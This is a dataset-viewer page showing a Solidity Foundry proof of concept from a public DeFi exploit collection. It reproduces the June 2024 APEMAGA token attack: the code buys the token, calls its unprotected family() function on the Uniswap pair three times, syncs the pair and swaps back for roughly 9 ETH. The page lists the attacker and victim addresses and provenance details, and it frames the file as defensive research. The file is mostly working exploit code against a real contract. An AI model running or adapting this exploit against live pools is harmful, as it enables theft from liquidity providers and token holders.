Public reproduction file
src/test/2024-06/APEMAGA_exp.sol
Public reproduction file for dataset entry APEMAGA.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// Profit : ~9 ETH8// TX : https://app.blocksec.com/explorer/tx/eth/0x6beb21b53f5b205c088570333ec875b720e333b49657f7026b01ed72b026851e?line=199// Attacker : https://etherscan.io/address/0xb297735e9fb3e695ccce3963bfe042f318901ea010// Attack Contract : https://etherscan.io/address/0x8de6314058c0b7eea809881d73e69b425c01f0b5#code11// Vulnerable Contract : https://etherscan.io/address/0x56ff4afd909aa66a1530fe69bf94c74e6d44500c12// GUY : https://x.com/ChainAegis/status/180629755685260128214interface APEMAGA is IERC20 {15 function family(16 address account17 ) external;18}20contract ContractTest is Test {21 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);22 Uni_Pair_V2 Pair = Uni_Pair_V2(0x85705829c2f71EE3c40A7C28f6903e7c797c9433);23 IUniswapV2Router uniswapv2 = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));24 APEMAGA Apemaga = APEMAGA(0x56FF4AfD909AA66a1530fe69BF94c74e6D44500C);25 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);26 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);28 function setUp() external {29 cheats.createSelectFork("mainnet", 20_175_261);30 deal(address(WETH), address(this), 9 ether);31 }33 function testExploit() external {34 emit log_named_decimal_uint("[Begin] Attacker WETH before exploit", WETH.balanceOf(address(this)), 18);35 attack();36 emit log_named_decimal_uint("[End] Attacker WETH after exploit", WETH.balanceOf(address(this)), 18);37 }39 function attack() public {40 swap_token_to_ExactToken(0.1 ether, address(WETH), address(Apemaga), 8000 ether);41 // emit log_named_decimal_uint("[End] Attacker token before exploit", Apemaga.balanceOf(address(this)), Apemaga.decimals());43 Apemaga.family(address(Pair));44 Apemaga.family(address(Pair));45 Apemaga.family(address(Pair));47 Pair.sync();49 address[] memory addrPath = new address[](2);50 addrPath[0] = address(Apemaga);51 addrPath[1] = address(WETH);52 Apemaga.approve(address(uniswapv2), 99_999_999 ether);53 uniswapv2.swapExactTokensForTokens(54 Apemaga.balanceOf(address(this)), 0, addrPath, address(this), type(uint256).max55 );56 }58 function swap_token_to_ExactToken(uint256 amount, address a, address b, uint256 amountInMax) public payable {59 IERC20(a).approve(address(uniswapv2), amountInMax);60 address[] memory path = new address[](2);61 path[0] = address(a);62 path[1] = address(b);63 uniswapv2.swapExactETHForTokens{value: amount}(0, path, address(this), block.timestamp + 120);64 }65}Analysis
Dataset entry
Public Foundry test for “APEMAGA” (2024-06-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-06/Bazaar_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/Crb2_exp.solSame month in the dataset · 101 lines
- src/test/2024-06/Dyson_money_exp.solSame month in the dataset · 108 lines
- src/test/2024-06/INcufi_exp.solSame month in the dataset · 208 lines
- src/test/2024-06/JokInTheBox_exp.solSame month in the dataset · 70 lines
- src/test/2024-06/MineSTM_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/NCD_exp.solSame month in the dataset · 112 lines
- src/test/2024-06/SteamSwap_exp.solSame month in the dataset · 77 lines
- src/test/2024-06/UwuLend_First_exp.solSame month in the dataset · 620 lines
- src/test/2024-06/Velocore_exp.solSame month in the dataset · 159 lines
- src/test/2024-06/WIFCOIN_ETH_exp.solSame month in the dataset · 62 lines
- src/test/2024-06/Will_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/YYS_exp.solSame month in the dataset · 79 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb297735e9fb3e695ccce3963bfe042f318901ea0
- Attack Contract
0x8de6314058c0b7eea809881d73e69b425c01f0b5
- Vulnerable Contract
0x56ff4afd909aa66a1530fe69bf94c74e6d44500c
- Explorer: https://etherscan.io/address/0xb297735e9fb3e695ccce3963bfe042f318901ea0
- Explorer: https://etherscan.io/address/0x8de6314058c0b7eea809881d73e69b425c01f0b5#code
- Explorer: https://etherscan.io/address/0x56ff4afd909aa66a1530fe69bf94c74e6d44500c
- Reference: https://x.com/ChainAegis/status/1806297556852601282
File record
- Name
- APEMAGA
- Path
- src/test/2024-06/APEMAGA_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d885a5cdca5901ff14fad82c98a4acf551158887
- Language
- Solidity
- Size
- 66 lines
- Date
- 2024-06-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-06/APEMAGA_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d885a5cdca5901ff14fad82c98a4acf551158887, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.